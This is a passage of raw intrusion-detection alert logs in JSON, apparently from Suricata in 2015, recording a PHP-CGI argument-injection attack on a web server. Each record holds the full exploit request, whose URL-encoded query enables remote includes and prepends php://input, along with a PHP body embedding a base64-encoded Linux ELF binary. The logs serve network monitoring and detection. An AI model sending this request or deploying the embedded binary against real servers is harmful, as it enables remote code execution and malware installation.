\/cgi-bin\/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%22%79%65%73%22+%2D%64+%63%67%69%2E%66%69%78%5F%70%61%74%68%69%6E%66%6F%3D%31+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E HTTP\/1.1\r\nHost: 128.101.111.14\r\nUser-Agent: Mozilla\/5.0 (Windows NT 6.3; rv:36.0) Gecko\/20100101 Firefox\/36.0\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 43368\r\nConnection: close\r\n\r\n<?php\n$bufferf = 'f0VMRgIBAQMAAAAAAAAAAAIAPgABAAAAUDsQAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAACAEAAAAAAAAEAAAAFAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAATUMAAAAAAABNQwAAAAAAAAAAEAAAAAAAAQAAAAYAAADgmwAAAAAAAOCbUAAAAAAA4JtQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAACZnZZ4VVBYIQgIDRYAAAAAYJ4AAGCeAAAAAgAAqAAAAAgAAAC7+yD\/f0VMRgIBAQACAD4AG9AbQB\/3N\/neCxCglyc4AAgKQNra+xsAGgAGHgVPDkB5t2nvwLUPCE8D4ATtHewW8UAPHAsPW4FbMgHfGw+xbskHZIkAARBvDuQt3QYdkA5QMMnJxN6p4AtvAijkgmnLKA+gv6DkU04uBBwPQD+Z9g4gCw8EUOV0ZDuQ93YX5IAdDkCUzxuca28Pb1FOASSEYARPqCRJkv9khwAAWjgAAAhJBwBv\/7b9L2xpYjY0CmQtEG51eC14ODYtHi5zby7s\/rz2MgAEAAAQBgFHTlUAAQIAdvIm2QYAQxZQSw\/P8zzvPD5JQE0yO9jnnTxESgYHOQAB87rJmxMWNM8p1haed3LJNigNNjU+gpPneUVMIE9n53ne7QsfSD4FKzFyO3meJSojIQ84Tm5XcC0nPQ9HDvM8z\/MGOkFGGxRN0D7PTggzAAED3K6Qq18PGEcQd8nznBUEChIWuWC3kx8eDyafEV3IyTsuRgkiLN6FvIsfBiYwJx4kPJy8Sy8WNxxOP\/I8z\/MXGUIdDCXtVXIaigEuEp5cyMk4bqNJAhNydkJIAY92AAXsdiEnnmxfvC\/kQkZehQAmKLmQC+RPyPfIkws59l7HACYInkzICAIfcSE5uQivjs654UJujx+vDwu4kJML1XSRi00gLx9qAA6\/Mnsht5kvaO1Ej3vtYicXISDvmy+ckBfIghUCvgqZ4oWMB2IBjzsXyMgLIQIYVgIZObEAX98LtIvgguEGb1sfycU60ekHFDctX5wLObnYzy8Ou0deyMg8AZVUALMAF3IyIdz\/qoy8kJEB+GYA0FzIyYWL8mRyciF3f9wSQVu72AVjXys\/j3K72ACkX6QvNPJiYRf0b7+5ASwMFzJl1K8vcjKxF2oCX6LZXMgFFxAfwfIht5Cc978ubhdycjfrM19iFzLyQjkBNK1GXshFn1HJAFSRF7tASC88Axdyu5DhS+\/IkHZAgWERAg\/oj7kITi6pSU8lFzKBPLoAPHGcXMgF35gRQrDQdYFxnz8u5HaxLwqPre5e4YXcL3sfAavAbR+xaRFAlZsIPxebmtA9IA9C70E5ubhuj9Q\/Cln\/F+wCFb8AX0p2X1JlZ2l2++3\/c3RlckNsYXNzZXMmX2dtb25fJGFydBb\/xN+JAHRwdGhyZWFkXjAAd2FtTbX9aXRwaWQAImN2cFBuDnQAWrtpv0NfZXhpGWMKrgCmbttdz95aYWNjZS55qm9yayppZ\/bfnm0mdGl+3mhucnJub19sb2NhJVt3sNghCGP9Nm50cv\/2a\/ZjcHkAKHhsGGRvdaB2c3ByaW50Zu3+bGsebhGATnRvbF8alG5dcA+2YVRnZWtmDsRtZW1Z2wTXiXDKFiZlb2JtRgLbBNvagmxlTgp5c3BMDmwza0BvRPjuY2tqjmysWfsN1WZmbHVzaAxjXCIAapWdGRpKbQx5a2kMJt6GZjNyzGluXwRkcmp04N125n+QchZla9rp4WDQ3T4EDW4UrQrsBJv8vm1wd2R1EORv2oEN\/jJfSU9faLqjfmxn4GAtWW6MxZHAwOB+Zhgi8nNyYfTR9tuZwdNuOBljdydob2wwwT3DYnkSKGiSCXBBWxhOiWZ3alAod3d4fmYYbPb1cHVmsFYgeA8w\/HkQXzQQ3OIgOHQ7AGRhAjPssLhhQ2eUhCqeQQNbbE1+c0BmtX8bTGrOR0xJQkNfMi4CNW3rvo4XM0kDAwcD1tKWvBYDCyfkam\/EA5ePBBAstq1bKytPnt6qTwIknhB1GrZ3u8ZpCap2QQFSqT+39\/k1YhNpaQ2CAidfAmSY8SHIkVDHTy95w5U\/BS5K6AfbJDPoAF5arwHwj8kll3QvAvgDkksmeQCSBAhLLrnkBRAGLrnkkhgHIAi55JJLKAkw5JJLLgo4C5JLLrlADEhLLrnkDVAOLrnkklgPYBC55JJLaBFw5JJLLhJ4E5JLLrmAFIhLLrnkFZAWLrnkkpgXoBi55JJLqBmw5JJLLhq4G5JLLrnAHMhLLrnkHdAeLrnkktgf4CCAnJyI\/2FbISQDMsmSIpIgkwzII5MkyYBMMpMlk8gkAzImkycyIJMMkyiTMsmATCmTKgzIJAOTK5NMMiCTLJMtAzLJgJMuk5MMyCQvkzCATDIgkzEkAzLJkzKTIJMMyDOTNMmATDKTNZPIJAMyNpM3MiCTDJM4kzLJgEw5kzoMyCQDkzuTTDIgkzyTPQMyyYCTPpOTDMgkP5NAATk5IWRcQUkGZJKTQpNAJhmQQ5REkgGZZJRFlJBJBmRGlEdkQCYZlEiUZJIBmUmUTBmQSQaUTZR9eEAmToPsCEYZ+O\/\/7fMIGlxuHCTECMP\/NdJ6EAD\/JdQKkHYqdXYAEh9oFRT8HpLKJJXKAcICpDJJZboDsgSpTFKZqgWiBiqTVCaaB5IIyiSVSYoJgjJJZZIKegtyTFKZpAxqDWKTVCapDloPUiSVSSoQShFJZZLKQhI6E1KZpDIyFCoVVCapTCIWGheVSSqTEhgKGXOSyiQCGvp5maQyyRvyHOomqUxSHeIe2kkqk1Qf0iCSyiSVyiHCIqQySWW6I7IkqUxSmaoloiYqk1QmmieSKMoklUmKKYIySWWSKnorckxSmaQsai1ik1QmqS5aL1IklUkqMEoxSWWSykIyOjNSmaQyMjQqNVQmqUwiNho3lUkqkxI4CjlzksokAjr6eJmkMsk78jzqJqlMUj3iPtpJKpNUP9JAksoklcpBwkKkMkllukOyRKlMUpmqRaJGKpNUJppHkkjKJJVJikmCP0hlkkp6S0gx7UmJBf8F+NFeSInivOTwUFRJx8Cgb5pIwD\/w78fB","stream":1,"packet":"fK10kl+AfK10kj0AgQAOfggARQAF3B2fQAA4BpSAW3lAEIBlbw7hLgBQSnxXuMwd13OAEABzz3YAAAEBCAoDoFta1F+brmd6MzBEakF3N2hhSUhqKzh4a2ZVLzJIZ3k4dSsrc0R4Z0krM3l3VzdFaU5CQU13OXYrMkJsRC94a0QvUEExMDVUd0tkT0ZidzErRUgvNDVqeFU4Zy9qL2RBVmZ2d0U0dHJiOS94aWNQeUZmYkRrVVV5dm9lRjFtQjkxM3cvZDdHRUJjMkJZQmRDWkVGd3dZOENudGZraVlTUGMxeGlSSXVJVC93UENjSFZ6QUQ4aUp2dzRqRjd3dHUzYy9heVZJbVA4WG5QYjNQNFNKWENUd1RJbGtKUGhTS0VHSi9DQ1BPNHYxNFVHNEVNeTZGVmhxbllVTTd3UWtIZy9lWjZHc2RwdmNmbEJFaWVkWEZEV0xxTGMxdk9ZWVRJc2c0aWpqQmtGV1FSYmMvdnRWUVZSVlU5b2dUSTEwSkJ3SWJDUUV0dFIyY084ZWI4Y0ZHbnlzQU5BY205Szl0aTFvRDRTZ0hoMHlzRDRBMHdhaURTc012d2ExSUs1d204M2tlM2ppUGV1RTBMeVREUExPZHgyWkp0Zi93Mis0N3lDSlJQNDlwSDRNOHI0aFZOTnNzQmgrd0diaXZBcEU3cWJCM1RWTEhESC82WXpGNno0aE0zamF3VHpISFhCcnVqYzAzL0ViV3VZRXc5ZDBiWXNEUW1wMFpvUG9EenNNdDNJT0FYY2E2eGZza3lub1NHVEIwMjR5Q1hheWhDaEl4QzE4STgrQ1hiMHM2VXdjZ2h3WXRxRjlqL3c3MUVoalVCUW9RTGFKN2d4QnMzMitPRkFWVEIwQ1R1UjZSWEJEMnFCNE1jbTZEUlV5eWtBT3VaQUNzQWwvMFA3RmFDQmJYVUZjUVFaZW9ReVo5ejBaOGRYQlUzUklZK1FFMVpER29HaGdmZ2FCZTAyaXY0NDB2K2xVb1BkSmlkUlZVL09KM3YvL2I5ckM2eGJsU0lueVNQL0JTSTEyQVlBNklYUUpTRG5JMWVCV24zVVVDd09MTFJZaUVBVUxHclFFN3JjTTVIVXBQa0hoYThQL2dEd2tPZytVd0VrQnhBanRkUHp2UEdqUTBFVmNDT2M1TEJUZWVUdUF5OEJqa0ZEWEJJSVBQbDdWK3V2RUdBTXg5Z0FGLzg5ZXF2ODV3bk1TZ0RzZ2RBMy94aEREc01kOUJhTFdJbkx1Q0RNZ0ZVVlM4RzAyS29QNUJIN1dmdCtXTDVmS0lNRVpOVlo1SHE3Y0Mza1BoYU9pQm5ZQXJHQWcyQnQ0TkMza0MwNFJJWFI4R1FKKzJ0WXdDaVlQQzRzT08zcjBVNnpBU0xJUVRHd0NMNEMxT3pSY0VxQURpQVY0T0I5cG14UVFRd0VTYlFMR0JXQngyc1AxLzEwUENEWlFrRHRlOHdnWXc1Mzk3T0FXN1Y2Zk1oWXdBMXpybzFoM0xEQ2ZZUkZaV3dnL3JzSUpLa1l1cUp1OEdoejhSSE9jdjRod1FGekNwOEExWUFYb1p4dzEzNzBBZzZjaGpuODRlb2Zkc1pwc1lmOVZOUHp3YXdCUjFReVV5d2kvZTJ1TE5IUXd4dlVFMCtzTWtOOHAwM1FaU0FFYW5BSzB4UlRhaHU0YlhIS3Q0NjhZQUh3VGRkK3E2RURZMDAzeHIyWUZ3OXVET0FSMUJsaTI2OEZ0Z0EzcXg4QkY2OXphM3lqNGl1N1RmN3dHdzNVQ1c4T0ZnUUVLZmtGWGpVSURGdGZ2THFEQlAwMzFTVEh0UUREdE9Sait5cldpTmtTWStNYmFFUFpCd2Y4QzFUdkhpYWtXM0hzakVCNjdNZTNlN0EzTUdJaFVQM1FHYlREYno3Q0s3V001NEFGN2hFd3hzSW05eGlBQVFRSzlQSzN0Mk42OGhkc1BqaElpM0JZVUpBWk1Yb21HMzk3dzBJUGlBN3dDd2VJRUhzQkFpcWlnZ043RnRkZi9p","alert":{"action":"allowed","gid":1,"signature_id":2016978,"rev":3,"signature":"ET WEB_SERVER safe_mode PHP config option in uri","category":"A Network Trojan was Detected","severity":1,"tx_id":0}}
|
|
{"timestamp":"2015-04-07T11:30:44.546943","flow_id":140262261274608,"in_iface":"snf0","event_type":"alert","vlan":3710,"src_ip":"91.121.64.16","src_port":57646,"dest_ip":"128.101.111.14","dest_port":80,"proto":"TCP","alert":{"action":"allowed","gid":1,"signature_id":2016977,"rev":3,"signature":"ET WEB_SERVER allow_url_include PHP config option in uri","category":"A Network Trojan was Detected","severity":1,"tx_id":0},"payload":"cMladbN\/AAAAEAAA\/w8AAFBPU1QgL2NnaS1iaW4vcGhwPyUyRCU2NCslNjElNkMlNkMlNkYlNzclNUYlNzUlNzIlNkMlNUYlNjklNkUlNjMlNkMlNzUlNjQlNjUlM0QlNkYlNkUrJTJEJTY0KyU3MyU2MSU2NiU2NSU1RiU2RCU2RiU2NCU2NSUzRCU2RiU2NiU2NislMkQlNjQrJTczJTc1JTY4JTZGJTczJTY5JTZFJTJFJTczJTY5JTZEJTc1JTZDJTYxJTc0JTY5JTZGJTZFJTNEJTZGJTZFKyUyRCU2NCslNjQlNjklNzMlNjElNjIlNkMlNjUlNUYlNjYlNzUlNkUlNjMlNzQlNjklNkYlNkUlNzMlM0QlMjIlMjIrJTJEJTY0KyU2RiU3MCU2NSU2RSU1RiU2MiU2MSU3MyU2NSU2NCU2OSU3MiUzRCU2RSU2RiU2RSU2NSslMkQlNjQrJTYxJTc1JTc0JTZGJTVGJTcwJTcyJTY1JTcwJTY1JTZFJTY0JTVGJTY2JTY5JTZDJTY1JTNEJTcwJTY4JTcwJTNBJTJGJTJGJTY5JTZFJTcwJTc1JTc0KyUyRCU2NCslNjMlNjclNjklMkUlNjYlNkYlNzIlNjMlNjUlNUYlNzIlNjUlNjQlNjklNzIlNjUlNjMlNzQlM0QlMzArJTJEJTY0KyU2MyU2NyU2OSUyRSU3MiU2NSU2NCU2OSU3MiU2NSU2MyU3NCU1RiU3MyU3NCU2MSU3NCU3NSU3MyU1RiU2NSU2RSU3NiUzRCUyMiU3OSU2NSU3MyUyMislMkQlNjQrJTYzJTY3JTY5JTJFJTY2JTY5JTc4JTVGJTcwJTYxJTc0JTY4JTY5JTZFJTY2JTZGJTNEJTMxKyUyRCU2NCslNjElNzUlNzQlNkYlNUYlNzAlNzIlNjUlNzAlNjUlNkUlNjQlNUYlNjYlNjklNkMlNjUlM0QlNzAlNjglNzAlM0ElMkYlMkYlNjklNkUlNzAlNzUlNzQrJTJEJTZFIEhUVFAvMS4xDQpIb3N0OiAxMjguMTAxLjExMS4xNA0KVXNlci1BZ2VudDogTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgNi4zOyBydjozNi4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzM2LjANCkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkDQpDb250ZW50LUxlbmd0aDogNDMzNjgNCkNvbm5lY3Rpb246IGNsb3NlDQoNCjw\/cGhwCiRidWZmZXJmID0gJ2YwVk1SZ0lCQVFNQUFBQUFBQUFBQUFJQVBnQUJBQUFBVURzUUFBQUFBQUJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUVBQU9BQUNBRUFBQUFBQUFBRUFBQUFGQUFBQUFBQUFBQUFBQUFBQUFCQUFBQUFBQUFBQUVBQUFBQUFBVFVNQUFBQUFBQUJOUXdBQUFBQUFBQUFBRUFBQUFBQUFBUUFBQUFZQUFBRGdtd0FBQUFBQUFPQ2JVQUFBQUFBQTRKdFFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBUUFBQUFBQUNablpaNFZWQllJUWdJRFJZQUFBQUFZSjRBQUdDZUFBQUFBZ0FBcUFBQUFBZ0FBQUM3K3lEL2YwVk1SZ0lCQVFBQ0FENEFHOUFiUUIvM04vbmVDeENnbHljNEFBZ0tRTnJhK3hzQUdnQUdIZ1ZQRGtCNXQybnZ3TFVQQ0U4RDRBVHRIZXdXOFVBUEhBc1BXNEZiTWdIZkd3K3hic2tIWklrQUFSQnZEdVF0M1FZZGtBNVFNTW5KeE42cDRBdHZBaWprZ21uTEtBK2d2NkRrVTA0dUJCd1BRRCtaOWc0Z0N3OEVVT1YwWkR1UTkzWVg1SUFkRGtDVXp4dWNhMjhQYjFGT0FTU0VZQVJQcUNSSmt2OWtod0FBV2pnQUFBaEpCd0J2LzdiOUwyeHBZalkwQ21RdEVHNTFlQzE0T0RZdEhpNXpieTdzL3J6Mk1nQUVBQUFRQmdGSFRsVUFBUUlBZHZJbTJRWUFReFpRU3cvUDh6enZQRDVKUUUweU85am5uVHhFU2dZSE9RQUI4N3JKbXhNV05NOHAxaGFlZDNMSk5pZ05OalUrZ3BQbmVVVk1JRTluNTNuZTdRc2ZTRDRGS3pGeU8zbWVKU29qSVE4NFRtNVhjQzBuUFE5SER2TTh6L01HT2tGR0d4Uk4wRDdQVGdnekFBRUQzSzZRcTE4UEdFY1FkOG56bkJVRUNoSVd1V0Mza3g4ZUR5YWZFVjNJeVRzdVJna2lMTjZGdklzZkJpWXdKeDRrUEp5OFN5OFdOeHhPUC9JOHovTVhHVUlkRENYdFZYSWFpZ0V1RXA1Y3lNazRicU5KQWhOeWRrSklBWTkyQUFYc2RpRW5ubXhmdkMva1FrWmVoUUFtS0xtUUMrUlB5UGZJa3dzNTlsN0hBQ1lJbmt6SUNBSWZjU0U1dVFpdmpzNjU0VUp1angrdkR3dTRrSk1MMVhTUmkwMGdMeDlxQUE2L01uc2h0NWt2YU8xRWozdnRZaWNYSVNEdm15K2NrQmZJZ2hVQ3ZncVo0b1dNQjJJQmp6c1h5TWdMSVFJWVZnSVpPYkVBWDk4THRJdmdndUVHYjFzZnljVTYwZWtIRkRjdFg1d0xPYm5Zenk4T3UwZGV5TWc4QVpWVUFMTUFGM0l5SWR6L3FveThrSkVCK0dZQTBGekl5WVdMOG1SeWNpRjNmOXdTUVZ1NzJBVmpYeXMvajNLNzJBQ2tYNlF2TlBKaVlSZjBiNys1QVN3TUZ6SmwxSzh2Y2pLeEYyb0NYNkxaWE1nRkZ4QWZ3ZklodDVDYzk3OHViaGR5Y2pmck0xOWlGekx5UWprQk5LMUdYc2hGbjFISkFGU1JGN3RBU0M4OEF4ZHl1NURoUysvSWtIWkFnV0VSQWcvb2o3a0lUaTZwU1U4bEZ6S0JQTG9BUEhHY1hNZ0YzNWdSUXJEUWRZRnhuejh1NUhheEx3cVByZTVlNFlYY0wzc2ZBYXZBYlIreGFSRkFsWnNJUHhlYm10QTlJQTlDNzBFNXViaHVqOVEvQ2xuL0Yrd0NGYjhBWDBwMlgxSmxaMmwyKyszL2MzUmxja05zWVhOelpYTW1YMmR0YjI1ZkpHRnlkQmIveE4rSkFIUndkR2h5WldGa1hqQUFkMkZ0VGJYOWFYUndhV1FBSW1OMmNGQnVEblFBV3J0cHYwTmZaWGhwR1dNS3JnQ21idHRkejk1YVlXTmpaUzU1cW05eWF5cHBaL2Jmbm0wbWRHbCszbWh1Y25KdWIxOXNiMk5oSlZ0M3NOZ2hDR1A5Tm01MGN2LzJhL1pqY0hrQUtIaHNHR1J2ZGFCMmMzQnlhVzUwWnUzK2JHc2ViaEdBVG5SdmJGOGFsRzVkY0ErMllWUm5aV3RtRHNSdFpXMVoyd1RYaVhES0ZpWmxiMkp0UmdMYkJOdmFnbXhsVGdwNWMzQk1EbXd6YTBCdlJQanVZMnRxam15c1dmc04xV1ptYkhWemFBeGpYQ0lBYXBXZEdScEtiUXg1YTJrTUp0Nkdaak55ekdsdVh3UmtjbXAwNE4xMjVuK1FjaFpsYTlycDRXRFEzVDRFRFc0VXJRcnNCSnY4dm0xd2QyUjFFT1J2Mm9FTi9qSmZTVTlmYUxxamZteG40R0F0V1c2TXhaSEF3T0IrWmhnaThuTnlZZlRSOXR1WndkTnVPQmxqZHlkb2Iyd3d3VDNEWW5rU0tHaVNDWEJCV3hoT2lXWjNhbEFvZDNkNGZtWVliUGIxY0hWbXNGWWdlQTh3L0hrUVh6UVEzT0lnT0hRN0FHUmhBalBzc0xoaFEyZVVoQ3FlUVFOYmJFMStjMEJtdFg4YlRHck9SMHhKUWtOZk1pNENOVzNydm80WE0wa0RBd2NEMXRLV3ZCWURDeWZrYW0vRUE1ZVBCQkFzdHExYkt5dFBudDZxVHdJa25oQjFHclozdThacENhcDJRUUZTcVQrMzkvazFZaE5wYVEyQ0FpZGZBbVNZOFNISWtWREhUeTk1dzVVL0JTNUs2QWZiSkRQb0FGNWFyd0h3ajhrbGwzUXZBdmdEa2tzbWVRQ1NCQWhMTHJua0JSQUdMcm5ra2hnSElBaTU1SkpMS0FrdzVKSkxMZ280QzVKTExybEFERWhMTHJua0RWQU9Mcm5ra2xnUFlCQzU1SkpMYUJGdzVKSkxMaEo0RTVKTExybUFGSWhMTHJua0ZaQVdMcm5ra3BnWG9CaTU1SkpMcUJtdzVKSkxMaHE0RzVKTExybkFITWhMTHJua0hkQWVMcm5ra3RnZjRDQ0FuSnlJLzJGYklTUURNc21TSXBJZ2t3eklJNU1reVlCTU1wTWxrOGdrQXpJbWt5Y3lJSk1Na3lpVE1zbUFUQ21US2d6SUpBT1RLNU5NTWlDVExKTXRBekxKZ0pNdWs1TU15Q1F2a3pDQVRESWdrekVrQXpMSmt6S1RJSk1NeURPVE5NbUFUREtUTlpQSUpBTXlOcE0zTWlDVERKTTRrekxKZ0V3NWt6b015Q1FEa3p1VFRESWdrenlUUFFNeXlZQ1RQcE9URE1na1A1TkFBVGs1SVdSY1FVa0daSktUUXBOQUpobVFRNVJFa2dHWlpKUkZsSkJKQm1SR2xFZGtRQ1labEVpVVpKSUJtVW1VVEJtUVNRYVVUWlI5ZUVBbVRvUHNDRVlaK08vLzdmTUlHbHh1SENURUNNUC9OZEo2RUFEL0pkUUtrSFlxZFhZQUVoOW9GUlQ4SHBMS0pKWEtBY0lDcERKSlpib0RzZ1NwVEZLWnFnV2lCaXFUVkNhYUI1SUl5aVNWU1lvSmdqSkpaWklLZWd0eVRGS1pwQXhxRFdLVFZDYXBEbG9QVWlTVlNTb1FTaEZKWlpMS1FoSTZFMUtacERJeUZDb1ZWQ2FwVENJV0doZVZTU3FURWhnS0dYT1N5aVFDR3ZwNW1hUXl5UnZ5SE9vbXFVeFNIZUllMmtrcWsxUWYwaUNTeWlTVnlpSENJcVF5U1dXNkk3SWtxVXhTbWFvbG9pWXFrMVFtbWllU0tNb2tsVW1LS1lJeVNXV1NLbm9yY2t4U21hUXNhaTFpazFRbXFTNWFMMUlrbFVrcU1Fb3hTV1dTeWtJeU9qTlNtYVF5TWpRcU5WUW1xVXdpTmhvM2xVa3FreEk0Q2psemtzb2tBanI2ZUpta01zazc4anpxSnFsTVVqM2lQdHBKS3BOVVA5SkFrc29rbGNwQndrS2tNa2xsdWtPeVJLbE1VcG1xUmFKR0twTlVKcHBIa2tqS0pKVkppa21DUDBobGtrcDZTMGd4N1VtSkJmOEYrTkZlU0luaXZPVHdVRlJK","payload_printable":"POST \/cgi-bin\/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%22%79%65%73%22+%2D%64+%63%67%69%2E%66%69%78%5F%70%61%74%68%69%6E%66%6F%3D%31+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E HTTP\/1.1\r\nHost: 128.101.111.14\r\nUser-Agent: Mozilla\/5.0 (Windows NT 6.3; rv:36.0) Gecko\/20100101 Firefox\/36.0\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 43368\r\nConnection: close\r\n\r\n<?php\n$bufferf = 'f0VMRgIBAQMAAAAAAAAAAAIAPgABAAAAUDsQAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAACAEAAAAAAAAEAAAAFAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAATUMAAAAAAABNQwAAAAAAAAAAEAAAAAAAAQAAAAYAAADgmwAAAAAAAOCbUAAAAAAA4JtQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAACZnZZ4VVBYIQgIDRYAAAAAYJ4AAGCeAAAAAgAAqAAAAAgAAAC7+yD\/f0VMRgIBAQACAD4AG9AbQB\/3N\/neCxCglyc4AAgKQNra+xsAGgAGHgVPDkB5t2nvwLUPCE8D4ATtHewW8UAPHAsPW4FbMgHfGw+xbskHZIkAARBvDuQt3QYdkA5QMMnJxN6p4AtvAijkgmnLKA+gv6DkU04uBBwPQD+Z9g4gCw8EUOV0ZDuQ93YX5IAdDkCUzxuca28Pb1FOASSEYARPqCRJkv9khwAAWjgAAAhJBwBv\/7b9L2xpYjY0CmQtEG51eC14ODYtHi5zby7s\/rz2MgAEAAAQBgFHTlUAAQIAdvIm2QYAQxZQSw\/P8zzvPD5JQE0yO9jnnTxESgYHOQAB87rJmxMWNM8p1haed3LJNigNNjU+gpPneUVMIE9n53ne7QsfSD4FKzFyO3meJSojIQ84Tm5XcC0nPQ9HDvM8z\/MGOkFGGxRN0D7PTggzAAED3K6Qq18PGEcQd8nznBUEChIWuWC3kx8eDyafEV3IyTsuRgkiLN6FvIsfBiYwJx4kPJy8Sy8WNxxOP\/I8z\/MXGUIdDCXtVXIaigEuEp5cyMk4bqNJAhNydkJIAY92AAXsdiEnnmxfvC\/kQkZehQAmKLmQC+RPyPfIkws59l7HACYInkzICAIfcSE5uQivjs654UJujx+vDwu4kJML1XSRi00gLx9qAA6\/Mnsht5kvaO1Ej3vtYicXISDvmy+ckBfIghUCvgqZ4oWMB2IBjzsXyMgLIQIYVgIZObEAX98LtIvgguEGb1sfycU60ekHFDctX5wLObnYzy8Ou0deyMg8AZVUALMAF3IyIdz\/qoy8kJEB+GYA0FzIyYWL8mRyciF3f9wSQVu72AVjXys\/j3K72ACkX6QvNPJiYRf0b7+5ASwMFzJl1K8vcjKxF2oCX6LZXMgFFxAfwfIht5Cc978ubhdycjfrM19iFzLyQjkBNK1GXshFn1HJAFSRF7tASC88Axdyu5DhS+\/IkHZAgWERAg\/oj7kITi6pSU8lFzKBPLoAPHGcXMgF35gRQrDQdYFxnz8u5HaxLwqPre5e4YXcL3sfAavAbR+xaRFAlZsIPxebmtA9IA9C70E5ubhuj9Q\/Cln\/F+wCFb8AX0p2X1JlZ2l2++3\/c3RlckNsYXNzZXMmX2dtb25fJGFydBb\/xN+JAHRwdGhyZWFkXjAAd2FtTbX9aXRwaWQAImN2cFBuDnQAWrtpv0NfZXhpGWMKrgCmbttdz95aYWNjZS55qm9yayppZ\/bfnm0mdGl+3mhucnJub19sb2NhJVt3sNghCGP9Nm50cv\/2a\/ZjcHkAKHhsGGRvdaB2c3ByaW50Zu3+bGsebhGATnRvbF8alG5dcA+2YVRnZWtmDsRtZW1Z2wTXiXDKFiZlb2JtRgLbBNvagmxlTgp5c3BMDmwza0BvRPjuY2tqjmysWfsN1WZmbHVzaAxjXCIAapWdGRpKbQx5a2kMJt6GZjNyzGluXwRkcmp04N125n+QchZla9rp4WDQ3T4EDW4UrQrsBJv8vm1wd2R1EORv2oEN\/jJfSU9faLqjfmxn4GAtWW6MxZHAwOB+Zhgi8nNyYfTR9tuZwdNuOBljdydob2wwwT3DYnkSKGiSCXBBWxhOiWZ3alAod3d4fmYYbPb1cHVmsFYgeA8w\/HkQXzQQ3OIgOHQ7AGRhAjPssLhhQ2eUhCqeQQNbbE1+c0BmtX8bTGrOR0xJQkNfMi4CNW3rvo4XM0kDAwcD1tKWvBYDCyfkam\/EA5ePBBAstq1bKytPnt6qTwIknhB1GrZ3u8ZpCap2QQFSqT+39\/k1YhNpaQ2CAidfAmSY8SHIkVDHTy95w5U\/BS5K6AfbJDPoAF5arwHwj8kll3QvAvgDkksmeQCSBAhLLrnkBRAGLrnkkhgHIAi55JJLKAkw5JJLLgo4C5JLLrlADEhLLrnkDVAOLrnkklgPYBC55JJLaBFw5JJLLhJ4E5JLLrmAFIhLLrnkFZAWLrnkkpgXoBi55JJLqBmw5JJLLhq4G5JLLrnAHMhLLrnkHdAeLrnkktgf4CCAnJyI\/2FbISQDMsmSIpIgkwzII5MkyYBMMpMlk8gkAzImkycyIJMMkyiTMsmATCmTKgzIJAOTK5NMMiCTLJMtAzLJgJMuk5MMyCQvkzCATDIgkzEkAzLJkzKTIJMMyDOTNMmATDKTNZPIJAMyNpM3MiCTDJM4kzLJgEw5kzoMyCQDkzuTTDIgkzyTPQMyyYCTPpOTDMgkP5NAATk5IWRcQUkGZJKTQpNAJhmQQ5REkgGZZJRFlJBJBmRGlEdkQCYZlEiUZJIBmUmUTBmQSQaUTZR9eEAmToPsCEYZ+O\/\/7fMIGlxuHCTECMP\/NdJ6EAD\/JdQKkHYqdXYAEh9oFRT8HpLKJJXKAcICpDJJZboDsgSpTFKZqgWiBiqTVCaaB5IIyiSVSYoJgjJJZZIKegtyTFKZpAxqDWKTVCapDloPUiSVSSoQShFJZZLKQhI6E1KZpDIyFCoVVCapTCIWGheVSSqTEhgKGXOSyiQCGvp5maQyyRvyHOomqUxSHeIe2kkqk1Qf0iCSyiSVyiHCIqQySWW6I7IkqUxSmaoloiYqk1QmmieSKMoklUmKKYIySWWSKnorckxSmaQsai1ik1QmqS5aL1IklUkqMEoxSWWSykIyOjNSmaQyMjQqNVQmqUwiNho3lUkqkxI4CjlzksokAjr6eJmkMsk78jzqJqlMUj3iPtpJK